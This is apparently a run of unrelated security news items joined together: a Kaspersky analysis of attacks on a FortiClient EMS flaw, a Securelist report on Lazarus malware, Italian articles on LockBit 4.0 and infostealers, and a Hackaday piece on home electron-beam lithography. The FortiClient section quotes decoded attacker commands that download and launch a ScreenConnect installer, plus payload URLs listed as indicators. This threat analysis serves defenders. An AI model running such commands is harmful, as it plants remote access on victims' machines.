By reviewing Kaspersky telemetry data associated with the same verdict, GERT experts were able to identify the commands executed by the attackers using a set of instructions contained in a Base64-encoded URL that matched the activities identified in the analyzed system.
Filename c:\program files\microsoft sql
server\mssql14.fcems\mssql\binn\sqlservr.exe
[19:40:10.147][2472][3268]PDMCreateProcess("$system32\cmd
.exe",""$system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE
/C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%7
0%64%61%74%65%2E%65%78%65%20%22%68%74%74%70%73%3A%2F%2F%69%6E%66%69%6E%69%74%7
9%2E%73%63%72%65%65%6E%63%6F%6E%6E%65%63%74%2E%63%6F%6D%2F%42%69%6E%2F%53%63%7
2%65%65%6E%43%6F%6E%6E%65%63%74%2E%43%6C%69%65%6E%74%53%65%74%75%70%2E%65%78%6
5%3F%65%3D%41%63%63%65%73%73%26%79%3D%47%75%65%73%74%22%20%26%20%73%74%61%72%7
4%20%2F%42%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65"""))"""
The decoded code is as follows.
curl -o C:\update.exe
"https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access
&y=Guest" & start /B C:\update.exe
The attackers took advantage of the curl command to download an installer for the ScreenConnect remote access application. We also observed the use of the Windows native binary
certutil for the same purpose. The installer would be stored as update.exe in the root of the C: drive, which would then be executed in the background. Judging by the y=Guest parameter in the URL query, the attackers seemingly relied on a ScreenConnect trial license.
We found that after the initial installation, the attackers began to upload additional payloads to the compromised system, to begin discovery and lateral movement activities, such as enumerating network resources, trying to obtain credentials, perform defense evasion techniques and generating a further type of persistence via the AnyDesk remote control tool. The payloads we discovered are provided in the table below.

After confirming the exploitation success, we managed to collect additional evidence. By analyzing AnyDesk logs, we managed to get an IP address used in the intrusion.

C:\ProgramData\AnyDesk\ad_svc.trace — AnyDesk connections

According to cyberthreat intelligence resources, this IP address belongs to the Russian region and has been flagged as part of a network linked to a malicious campaign that abused Cobalt Strike.

Analysis of telemetry data for similar threat-related cases

Our telemetry data revealed that threat actors have been targeting various companies and consistently altering ScreenConnect subdomains, seemingly changing them regardless of the specific target.

In addition to the above behavior, GERT experts spotted attempts to download and execute various payloads from additional unclassified external resources that had been used in other exploitation incidents. This strongly indicates that other attackers have been abusing the same vulnerability with a different second-stage payload aimed at multiple targets.

As for the regions and countries impacted by attempts to exploit this vulnerability with other payloads, we can confirm that this threat does not target specific locations, although we’ve observed a minor bias towards South America (5 out of 15 attacks).

Countries targeted by additional malicious payloads, April–November 2024 (download)

An ever-evolving “approach” to abusing the vulnerability in similar incidents

While further tracking this threat on October 23, 2024, GERT analysts detected active attempts to exploit CVE-2023-48788 in the wild by executing a similar command. At that point, the activity involved a free service provided by the webhook.site domain.
"C:\Windows\system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD-
TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6f%77%65%72%73%68%65%6
c%6c%20%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74%70%73%3a%2
f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%32%37%38%66%58%58%58%5
8%2d%63%61%33%62%2d[REDACTED]%2d%39%36%65%34%2d%58%58%58%58%34%35%
61%61%36%38%30%39%20%2d%4d%65%74%68%6f%64%20%50%6f%73%74%20%2d%42%
6f%64%79%20%27%74%65%73%74%27%20%3e%20%24%6e%75%6c%6c%22"""))""
When decoded, it turned out to be a command chain with a final PS1 command in it.
cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri
hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body
'test' > $null"
According to information from webhook.site, the service “generates free, unique URLs and email addresses and lets you see everything that’s sent there instantly”. The uniqueness is guaranteed by a generated token included in the URL, email address or DNS domain. Users can enable the service for free or include additional services and features for a fee.

Webhook.site website

GERT experts confirmed that the threat actor was using this service to collect responses from vulnerable targets while performing a scan of the systems affected by the FortiClient EMS vulnerability. Knowing the specific webhook.site token used by the attackers, we were able to identify 25 requests to webhook.site during five hours on October 23. Of these, 22 originated from the distinct source IPs of vulnerable targets located in 18 different countries, and three more requests came from the same source, highlighted in red below.

Countries targeted by additional malicious activity on October 23, 2024 (download)

Three requests originated from the same IP address 135.XXX.XX.47 located in Germany and hosted by Hetzner Online GmbH. This IP has a bad reputation and was associated with an infostealer threat in October and November of last year, although we are not sure that this address has been abused by the threat actor or is part of their network. This host is showing open ports 80 and 7777 with an HTTP service on port 80 and an SSL service on port 7777.

A web interface for PRTG Network Monitor 24.1.92.1554 x64 is hosted on port 80 with what seems to be the default configuration and a PRTG Freeware trial license that expired on October 24, 2020.

PRTG Network Monitor enabled on the suspicious host

The common name for the SSL certificate on port 7777 is WIN-LIVFRVQFMKO. Threat intelligence analysis has indicated that this host is known to be used frequently by various threat actors, among them the Conti and LockBit ransomware groups. However, it could also be a default Windows OS template hostname used by the hosting provider Hetzner.

SSL certificate on port 7777 of a suspicious host

Multiple successful attempts to access webhook.site and several suspicious variations discovered in the HTTP POST content led GERT analysts to believe that this host could be a “deprecated PRTG installation” compromised and controlled by the attacker in some way, and used to test the service provided by webhook.site.

Tactics, techniques and procedures

Below are the TTPs identified from our analysis and detections.

Conclusion

The analysis of this incident helped us to establish that the techniques currently used by the attackers to deploy remote access tools are constantly being updated and growing in complexity. Although the vulnerability in question (CVE-2023-48788) had been patched by the time of the attacks, we suggest that multiple threat actors were able to exploit it, endangering a large number of users across various regions. That serves as a stark reminder of the need to constantly update technologies — to versions 7.0.11–7.0.13 or 7.2.3 and later in case of FortiClient EMS — that remain exposed to the internet, as this can serve as an initial vector for a cyberincident. Implementing alert notifications and patch management for any application with direct or indirect public access complements the regular update process.

In order to prevent and defend against attacks like these, we strongly recommend always installing an EPP agent on every host running an OS — even if it’s used with a specific role — and configuring additional controls like Application Control to block the execution of legitimate tools if abused by threat actors. It is worth pointing out that an MDR implementation on computers adjacent to the initial vector was able to detect and block attackers in a timely manner, preventing them from achieving their ultimate objectives or causing major impact within the victim’s environment. Also, installing agents that constantly monitor and detect threats on computers can be a key factor in containing the threat during an incident.

Indicators of Compromise

Applications/Filenames from the incident

C:\update.exe
HRSword.exe
Mimik!!!.exe
br.exe
donpapi.exe
netpass64.exe
webbrowserpassview.exe
netscan.exe
connectwise / ScreenConnect
AnyDesk

HASH – SHA1 from the incident

8cfd968741a7c8ec2dcbe0f5333674025e6be1dc
441a52f0112da187244eeec5b24a79f40cc17d47
746710470586076bb0757e0b3875de9c90202be2
bc29888042d03fe0ffb57fc116585e992a4fdb9b
73f8e5c17b49b9f2703fed59cc2be77239e904f7
841fff3a36d82c14b044da26967eb2a8f61175a8
34162aaf41c08f0de2f888728b7f4dc2a43b50ec
cf1ca6c7f818e72454c923fea7824a8f6930cb08
e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69
59e1322440b4601d614277fe9092902b6ca471c2
75ebd5bab5e2707d4533579a34d983b65af5ec7f
83cff3719c7799a3e27a567042e861106f33bb19
44b83dd83d189f19e54700a288035be8aa7c8672
8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8

Domains / IP addresses from the incident

45.141.84[.]45
infinity.screenconnect[.]com
kle.screenconnect[.]com
trembly.screenconnect[.]com
corsmich.screenconnect[.]com

Domains / IP addresses from additional malicious payloads discovered

185.216.70.170:1337
hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw
HXXP://148.251.53.222:14443/SETUP.MSI
hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8
hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4
HXXP://185.216.70.170/OO.BAT
HXXP://185.216.70.170/HELLO
HXXP://185.216.70.170/A
hxxp://185.216.70.170
hxxp://185.216.70.170/oo.bat
hxxp://185.216.70.170/hello
hxxp://185.216.70.170/sos.txt
hxxp://185.216.70.170/72.bat
hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w
qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun
hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\FaLNkAQGOe.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\QgCNsJRB.exe
hxxps://www.lidahtoto2.com/assets/im.ps1
hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe

securelist.com/patched-forticl…

Over the past few years, the Lazarus group has been distributing its malicious software by exploiting fake job opportunities targeting employees in various industries, including defense, aerospace, cryptocurrency, and other global sectors. This attack campaign is called the DeathNote campaign and is also referred to as “Operation DreamJob”. We have previously published the history of this campaign.

Recently, we observed a similar attack in which the Lazarus group delivered archive files containing malicious files to at least two employees associated with the same nuclear-related organization over the course of one month. After looking into the attack, we were able to uncover a complex infection chain that included multiple types of malware, such as a downloader, loader, and backdoor, demonstrating the group’s evolved delivery and improved persistence methods.

In this blog, we provide an overview of the significant changes in their infection chain and show how they combined the use of new and old malware samples to tailor their attacks.

Never giving up on their goals

Our past research has shown that Lazarus is interested in carrying out supply chain attacks as part of the DeathNote campaign, but this is mostly limited to two methods: the first is by sending a malicious document or trojanized PDF viewer that displays the tailored job descriptions to the target. The second is by distributing trojanized remote access tools such as VNC or PuTTY to convince the targets to connect to a specific server for a skills assessment. Both approaches have been well documented by other security vendors, but the group continues to adapt its methodology each time.

The recently discovered case falls under the latter approach. However, except for the initial vector, the infection chain has completely changed. In the case we discovered, the targets each received at least three archive files allegedly related to skills assessments for IT positions at prominent aerospace and defense companies. We were able to determine that two of the instances involved a trojanized VNC utility. Lazarus delivered the first archive file to at least two people within the same organization (we’ll call them Host A and Host B). After a month, they attempted more intensive attacks against the first target.

Malicious files created on the victims’ hosts

Appearing with state-of-the-art weapons

In the first case, in order to go undetected, Lazarus delivered malicious compressed ISO files to its targets, since ZIP archives are easily detected by many services. Although we only saw ZIP archives in other cases, we believe the initial file was also an ISO. It is unclear exactly how the files were downloaded by the victims. However, we can assess with medium confidence that the ISO file was downloaded using a Chromium-based browser. The first VNC-related archive contained a malicious VNC, and the second contained a legitimate UltraVNC Viewer and a malicious DLL.

Malicious AmazonVNC.exe (left) / Legitimate vncviewer.exe (right)

The first ISO image contains a ZIP file that contains two files: AmazonVNC.exe and readme.txt. The AmazonVNC.exe file is a trojanized version of TightVNC – a free and open source VNC software that allows anyone to edit the original source code. When the target executes AmazonVNC.exe, a window like the one in the image above pops up. The IP address to enter in the ‘Remote Host’ field is stored in the readme.txt file along with a password. It is likely that the victim was instructed to use this IP via a messenger, as Lazarus tends to pose as recruiters and contact targets on LinkedIn, Telegram, WhatsApp, etc. Once the IP is entered, an XOR key is generated based on it. This key is used to decrypt internal resources of the VNC executable and unzip the decrypted data. The unzipped data is in fact a downloader we dubbed Ranid Downloader, which is loaded into memory by AmazonVNC.exe to execute further malicious operations.

The [Company name]_Skill_Assessment_new.zip file embeds UltraVNC’s legitimate vncviewer.exe, which is open source VNC software like TightVNC. The ZIP file also contains the malicious file vnclang.dll, which is loaded using side-loading. Although we have not been able to obtain the malicious vnclang.dll, we classified it as a loader of the MISTPEN malware described by Mandiant in a recent report, based on its communication with the C2 – namely the payloads, which use the same format as payloads on the MISTPEN server we were able to obtain. According to our telemetry, in our particular case, MISTPEN ultimately fetched an additional payload under the name [Random ID]_media.dat from the C2 server twice. The first payload turned out to be RollMid, which was described in detail in an Avast report published in April 2024. The second was identified as a new LPEClient variant. MISTPEN and RollMid are both relatively new malicious programs from the Lazarus group that were unveiled this year, but were still undocumented at the time of the actual attack.

CookieTime still in use

Another piece of malware found on the infected hosts was CookieTime. We couldn’t quite figure out how the CookieTime malware was delivered to Host A, but according to our telemetry, it was executed as the
SQLExplorer service after the installation of LPEClient. In the early stages, CookieTime functioned by directly receiving and executing commands from the C2 server, but more recently it has been used to download payloads.
The actor moved laterally from Host A to Host C, where CookieTime was used to download several malware strains, including LPEClient, Charamel Loader, ServiceChanger, and an updated version of CookiePlus, which we’ll discuss later in this post. Charamel Loader is a loader that takes a key as a parameter and decrypts and loads internal resources using the ChaCha20 algorithm. To date, we have identified three malware families delivered and executed by this loader: CookieTime, CookiePlus, and ForestTiger, the latter of which was seen in an attack unrelated to those discussed in the article.

The ServiceChanger malware stops a targeted legitimate service and then stores malicious files from its resource section to disk so that when the legitimate service is restarted, it loads the created malicious DLL via DLL side-loading. In this case, the targeted service was ssh-agent and the DLL file was libcrypto.dll. Lazarus’s ServiceChanger behaves differently than the similarly named malware used by Kimsuky. While Kimsuky registers a new malicious service, Lazarus exploits an existing legitimate service for DLL side-loading.

There were several cases where CookieTime was loaded by DLL side-loading and executed as a service. Interestingly, CookieTime supports many different ways of loading, which also results in different entry points, as can be seen below:

Overall malware-to-malware flowchart

CookiePlus capable of downloading both DLL and shellcode

CookiePlus is a new plugin-based malicious program that we discovered during the investigation on Host C. It was initially loaded by both ServiceChanger and Charamel Loader. The difference between each CookiePlus loaded by Charamel Loader and by ServiceChanger is the way it is executed. The former runs as a DLL alone and includes the C2 information in its resources section, while the latter fetches what is stored in a separate external file like msado.inc, meaning that CookiePlus has the capability to get a C2 list from both an internal resource and an external file. Otherwise, the behavior is the same.

When we first discovered CookiePlus, it was disguised as ComparePlus, an open source Notepad++ plugin. Over the past few years, the group has consistently impersonated similar types of plugins. However, the most recent CookiePlus sample, discovered in an infection case unrelated to those discussed in the article, is based on another open source project, DirectX-Wrappers, which was developed for the purpose of wrapping DirectX and Direct3D DLLs. This suggests that the group has shifted its focus to other themes in order to evade defenses by masquerading as public utilities.

Because CookiePlus acts as a downloader, it has limited functionality and transmits minimal information from the infected host to the C2 server. During its initial communication with the C2, CookiePlus generates a 32-byte data array that includes an ID from its configuration file, a specific offset, and calculated step flag data (see table below). One notable aspect is the inclusion of a specific offset that points to the last four bytes of the configuration file path. While this offset appears random due to ASLR, it could potentially allow the group to determine if the offset remains fixed. This could help distinguish whether the payload is being analyzed by an analyst or security products.

The array is then encrypted using a hardcoded RSA public key. Next, CookiePlus encodes the RSA-encrypted data using Base64. It is set as the cookie value in the HTTP header and passed to the C2. This cookie data is used in the follow up communication, possibly for authentication. CookiePlus then retrieves an additional encrypted payload received from the C2 along with cookie data. Unfortunately, during our investigating of this campaign, it was not possible to set up a connection to the C2, so the exact data returned is unknown.

CookiePlus then decodes the payload using Base64. The result is a data structure containing the ChaCha20-encrypted payload, as shown below. It is possible that the entire payload is not received at once. To know when to stop requesting more data, CookiePlus looks at the value of the offset located at 0x07 and continues to request more data until the value is set to 1.

Next, the payload is decrypted using the previously generated 32-byte data array as a key and the delivered nonce. The type of payload is determined by the flag at offset 0x04, which can be either a DLL or shellcode.

If the value of the flag is 0xBEF0, the encrypted payload is a DLL file that is loaded into memory. The payload can also contain a parameter that is passed to the DLL when loaded.

If the value is 0xBEEF, CookiePlus checks whether the first four bytes of the payload are smaller than
0x80000000. If so, the shellcode in the payload is loaded after being granted execute permission. After the shellcode is executed, the ChaCha20-encrypted result is sent to the C2. For the encryption, the same 32-byte data array is again used as the key, and a 12-byte nonce is randomly generated. As a result, the following structure is sent to the C2.

This process of continuously downloading additional payloads persists until the C2 stops responding.

CookiePlus C2 communication process

We managed to obtain three different shellcodes loaded by CookiePlus. The shellcodes are actually DLLs that are converted to shellcode using the sRDI open source shellcode generation tool. These DLLs then act as plugins. The functionality of each of the three plugins is as follows and the execution result of the plugin is encrypted and sent to the C2.

Based on all of the above, we assess with medium confidence that CookiePlus is the successor to MISTPEN. Despite there being no notable code overlap, there are several similarities. For example, both disguise themselves as Notepad++ plugins.

In addition, the CookiePlus samples were compiled and used in June 2024, while the latest MISTPEN samples we were able to find were compiled in January and February 2024, although we suspect that MISTPEN was also used in the discussed campaign. MISTPEN also used similar plugins such as
TBaseInfo.dll and hiber.dll just like CookiePlus. The fact that CookiePlus is more complete than MISTPEN and supports more execution options also supports our claim.

Infrastructure

The Lazarus group used compromised web servers running WordPress as C2s for the majority of this campaign. Samples such as MISTPEN, LPEClient, CookiePlus and RollMid used such servers as their C2. For CookieTime, however, only one of the C2 servers we identified ran a website based on WordPress. Additionally, all the C2 servers seen in this campaign run PHP-based web services not bounded to a specific country.

Conclusion

Throughout its history, the Lazarus group has used only a small number of modular malware frameworks such as Mata and Gopuram Loader. Introducing this type of malware is an unusual strategy for them. The fact that they do introduce new modular malware, such as CookiePlus, suggests that the group is constantly working to improve their arsenal and infection chains to evade detection by security products.

The problem for defenders is that CookiePlus can behave just like a downloader. This makes it difficult to investigate whether CookiePlus downloaded just a small plugin or the next meaningful payload. From our analysis, it appears to be still under active development, meaning Lazarus may add more plugins in the future.

Indicators of compromise

Trojanized VNC utility

Ranid Downloader

CookieTime

Charamel Loader

ServiceChanger

CookiePlus Loader

CookiePlus

CookiePlus plugins

MISTPEN

securelist.com/lazarus-new-mal…

Il gruppo LockBit, una delle organizzazioni di cybercriminali più temute e attive nel panorama degli attacchi ransomware, ha ufficialmente lanciato la sua ultima versione: LockBit 4.0. Questo nuovo aggiornamento rappresenta una tappa evolutiva importante rispetto al precedente LockBit 3.0, conosciuto anche come LockBit Black, che già aveva guadagnato notorietà per la sua capacità di infliggere danni considerevoli a organizzazioni e aziende di ogni dimensione e settore.

LockBit 4.0 introduce una serie di nuove funzionalità avanzate, abbinate a una strategia di reclutamento che rompe con le pratiche passate, offrendo l’accesso a chiunque sia disposto a pagare una somma modesta. Questa mossa potrebbe avere implicazioni devastanti per la sicurezza informatica globale e apre un nuovo capitolo nel mondo dei ransomware.

I dettagli del rilascio di LockBit 4.0

Il messaggio promozionale con cui è stato annunciato LockBit 4.0 è tanto provocatorio quanto inquietante. Con un linguaggio sfacciato e provocativo, il gruppo si rivolge direttamente a coloro che potrebbero essere attratti dalla promessa di ricchezza e successo facile:

“Vuoi una Lamborghini, una Ferrari e tante ragazze? Iscriviti e inizia il tuo viaggio da pentester miliardario in 5 minuti con noi.”

Questa retorica, che richiama stereotipi di lusso e uno stile di vita sfarzoso, è chiaramente progettata per ammaliare e sedurre nuovi affiliati, soprattutto giovani attratti da guadagni rapidi e dall’idea di fama nel mondo underground dell’hacking.

Il processo di registrazione semplificato: accesso a pagamento con BTC o XMR

Il nuovo approccio di LockBit 4.0 è sorprendentemente aperto e inclusivo. La piattaforma mette a disposizione una schermata di login minimalista e funzionale, dove gli utenti possono registrarsi con pochi passaggi semplici. Per accedere, è necessario inserire un nome utente, una password e risolvere un captcha di verifica.

Questa procedura di accesso è supportata da due metodi di pagamento principali:

1. Bitcoin (BTC) – La criptovaluta più diffusa e utilizzata per le transazioni nel dark web.
2. Monero (XMR) – Una criptovaluta nota per l’elevato livello di anonimato, che rende le transazioni ancora più difficili da tracciare rispetto a Bitcoin.

Questa duplice opzione di pagamento offre maggiore flessibilità agli aspiranti affiliati e sottolinea l’attenzione del gruppo LockBit per garantire l’anonimato e la sicurezza delle transazioni.

Il costo di accesso: 777 USD in Bitcoin

Per accedere alla piattaforma LockBit 4.0 e ottenere il pieno controllo del ransomware, è richiesto il pagamento di una somma pari a 0,007653 BTC, equivalente a circa 777 USD. Le istruzioni fornite indicano di inviare l’importo all’indirizzo Bitcoin dedicato.

Il messaggio avverte chiaramente che il pagamento deve essere pari o superiore all’importo specificato, altrimenti la registrazione sarà annullata. Viene anche consigliato l’uso di un cryptocurrency mixer per rendere le transazioni meno tracciabili e mantenere l’anonimato.

Stato attuale del wallet Bitcoin: nessun pagamento ricevuto

Nonostante l’annuncio roboante e l’apertura a nuovi affiliati, al momento l’indirizzo Bitcoin fornito per il pagamento non mostra ancora alcuna transazione. Il saldo confermato e non confermato è infatti pari a 0 BTC (0 USD), come evidenziato nella seguente schermata:

Questa mancanza di attività potrebbe indicare:

1. Scetticismo iniziale da parte dei potenziali affiliati, che potrebbero voler attendere ulteriori prove di successo prima di investire.
2. Paura di monitoraggio da parte delle forze dell’ordine, che spesso tengono sotto osservazione questi indirizzi Bitcoin.
3. Cautela da parte di chi è interessato ma preferisce utilizzare Monero per garantire un livello di anonimato più elevato.

Cosa offre la piattaforma di LockBit 4.0?

Una volta effettuato il pagamento e completata la registrazione, gli utenti ottengono immediatamente l’accesso al pannello di controllo del ransomware. Da questa piattaforma è possibile:

• Creare build personalizzate del ransomware per sistemi Windows, ESXi e Linux.
• Gestire campagne di attacchi ransomware in modo organizzato e automatizzato.
• Comunicare con le vittime per negoziare il riscatto e gestire le richieste di pagamento.
• Scaricare strumenti di crittografia avanzati per bloccare i sistemi delle vittime in modo rapido ed efficiente.

Un cambio di approccio radicale: la democratizzazione del cybercrimine

L’apertura di LockBit 4.0 a chiunque sia disposto a pagare rappresenta un cambiamento radicale nel modello di business dei ransomware. In passato, l’accesso a strumenti così avanzati era riservato a pochi affiliati selezionati e fidati. Ora, con una somma accessibile di 777 USD, chiunque con una conoscenza informatica di base può accedere a strumenti potenti e dannosi.

Questa strategia di democratizzazione del cybercrimine porta con sé implicazioni devastanti:

1. Esplosione degli attacchi ransomware: Un numero maggiore di attori malevoli potrebbe lanciare attacchi, colpendo aziende e organizzazioni di ogni dimensione.
2. Maggiore imprevedibilità e caos: La facilità di accesso significa che anche hacker meno esperti potrebbero scatenare attacchi maldestri ma comunque devastanti.
3. Sovraccarico delle infrastrutture di sicurezza: Con un incremento esponenziale degli attacchi, le aziende potrebbero non riuscire a difendersi adeguatamente.

Un monito ai giovani attratti dal cybercrimine

L’annuncio di LockBit 4.0 può sembrare allettante, soprattutto per i giovani affascinati dalla promessa di denaro facile e successo immediato. Tuttavia, è fondamentale ricordare che entrare nel mondo del cybercrimine è illegale e comporta rischi enormi.

Attività come il lancio di ransomware, l’accesso non autorizzato a sistemi informatici e l’estorsione costituiscono reati gravi, tra cui:

• Frode informatica
• Sostituzione di persona
• Estorsione
• Accesso abusivo a sistema informatico (punito dall’art. 615 ter del Codice Penale con la reclusione fino a tre anni)

Anche atti apparentemente innocui, come curiosare nei sistemi altrui per dimostrare le proprie competenze, sono illegali e possono avere conseguenze devastanti sulla vita personale e professionale.

Esistono percorsi legali e stimolanti nel mondo della cybersecurity. Le competenze informatiche possono essere impiegate per difendere aziende e istituzioni, proteggere dati sensibili e contrastare i cybercriminali. Scegliere la strada della legalità e dell’etica offre soddisfazioni personali e professionali durature, contribuendo a un mondo digitale più sicuro per tutti.

Sfrutta le tue capacità per creare, proteggere e innovare. La tua abilità può fare la differenza, ma solo se usata con responsabilità.

L'articolo LockBit 4.0: Il nuovo ransomware apre le porte a chiunque sia disposto a pagare proviene da il blog della sicurezza informatica.

If you want to build semiconductors at home, it seems like the best place to start might be to find a used scanning electron microscope on eBay. At least that’s how [Peter Bosch] kicked off his electron beam lithography project, and we have to say the results are pretty impressive.

Now, most of the DIY semiconductor efforts we’ve seen start with photolithography, where a pattern is optically projected onto a substrate coated with a photopolymer resist layer so that features can be etched into the surface using various chemical treatments. [Peter]’s method is similar, but with important differences. First, for a resist he chose poly-methyl methacrylate (PMMA), also known as acrylic, dissolved in anisole, an organic substance commonly used in the fragrance industry. The resist solution was spin-coated into a test substrate of aluminized Mylar before going into the chamber of the SEM.

As for the microscope itself, that required a few special modifications of its own. Rather than rastering the beam across his sample and using a pattern mask, [Peter] wanted to draw the pattern onto the resist-covered substrate directly. This required an external deflection modification to the SEM, which we’d love to hear more about. Also, the SEM didn’t support beam blanking, meaning the electron beam would be turned on even while moving across areas that weren’t to be exposed. To get around this, [Peter] slowed down the beam’s movements while exposing areas in the pattern, and sped it up while transitioning to the next feature. It’s a pretty clever hack, and after development and etching with a cocktail of acids, the results were pretty spectacular. Check it out in the video below.

It’s pretty clear that this is all preliminary work, and that there’s much more to come before [Peter] starts etching silicon. He says he’s currently working on a thermal evaporator to deposit thin films, which we’re keen to see. We’ve seen a few sputtering rigs for thin film deposition before, but there are chemical ways to do it, too.

youtube.com/embed/HA9p38AnByY?…

hackaday.com/2024/12/19/homebr…

Si intitola “Infostealer: un pacco da Babbo Natale… con dentro le tue password“ il Report di Intelligence prodotto dalla terza Live Class del corso “Dark Web & Cyber Threat Intelligence“.

Sotto la guida esperta del prof. Pietro Melillo, il team di 14 persone che ha da poco concluso il corso in Live Class realizzato da Red Hot Cyber, ha prodotto un report di intelligence sugli infostealer. Si tratta di un tema cruciale e spesso poco dibattuto, che permette di comprendere e affrontare le moderne minacce cibernetiche provenienti dalle botnet, anche dal punto di vista legale.

Babbo Natale quest’anno è in sciopero. Non si è limitato a non consegnare regali, ma ha deciso di rubare il tuo Wi-Fi, la tua carta di credito e, già che c’era, anche le tue password. Questo scenario, che sembra uscito da una commedia grottesca, rappresenta invece la realtà del mondo digitale moderno, in cui minacce come gli infostealer sono pronte a sfruttare ogni nostra distrazione ed ogni “situazione”.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

Gli infostealer: cosa sono e come agiscono

Gli infostealer sono malware progettati per rubare informazioni sensibili, come credenziali di accesso, dati finanziari e altre informazioni personali. Agiscono spesso in modo silente, infiltrandosi nei dispositivi tramite email di phishing, download malevoli o vulnerabilità software. Una volta raccolti i dati, questi vengono inviati a server remoti per poi essere venduti al miglior offerente o utilizzati per scopi criminali.

La pericolosità degli infostealer risiede nella loro facilità di diffusione e nella crescente accessibilità dei malware-as-a-service (MaaS). Oggi, anche un criminale informatico alle prime armi può acquistare e utilizzare strumenti sofisticati per colpire individui e organizzazioni. Questo fenomeno ha trasformato il cybercrimine in una industria globale in continua evoluzione.

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

Botnet e infostealer: un binomio pericoloso

Il report della terza classe affronta anche il legame tra botnet e infostealer. Le botnet, reti di dispositivi compromessi e controllati da remoto, sono spesso utilizzate per distribuire infostealer su larga scala. Attraverso tecniche di command and control (C2), i cybercriminali coordinano attacchi mirati, sfruttando la potenza di centinaia o migliaia di dispositivi infetti.

Questo modello organizzato consente ai malintenzionati di raccogliere enormi quantità di dati in poco tempo, rendendo l’impatto degli infostealer particolarmente devastante. Non è un caso che queste tecniche siano sempre più utilizzate non solo per furti di identità e frodi finanziarie, ma anche per campagne di spionaggio industriale e attacchi geopolitici.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

L’impatto degli infostealer

Il documento prodotto dai partecipanti al corso esplora in dettaglio l’impatto degli infostealer su individui, aziende e governi. Gli effetti possono essere devastanti:

• Per gli individui, la perdita di informazioni personali porta a furti di identità e svuotamento dei conti bancari.
• Per le aziende, la compromissione dei dati dei clienti comporta perdite economiche, danni reputazionali e sanzioni legate alla non conformità normativa.
• A livello governativo, l’utilizzo di infostealer può facilitare operazioni di spionaggio e sabotaggio.

L’analisi sottolinea come la natura discreta di questi malware renda difficile la loro individuazione, aggravando ulteriormente i danni.

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

Strategie di mitigazione e conformità normativa

Il report non si limita ad analizzare la minaccia, ma propone anche strategie di mitigazione efficaci. Dalla formazione del personale alla messa in atto di policy di cyber hygiene, passando per l’implementazione di soluzioni avanzate come endpoint detection and response (EDR) e sistemi di monitoraggio continuo, le difese devono essere proattive e multilivello.

Vengono inoltre affrontate le principali normative di riferimento, come il GDPR per la protezione dei dati personali e lo standard ISO/IEC 27001:2022 per la gestione della sicurezza delle informazioni. La conformità a queste regolamentazioni è fondamentale per ridurre il rischio e garantire la resilienza delle organizzazioni.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

Dietro le quinte di XFilesStealer

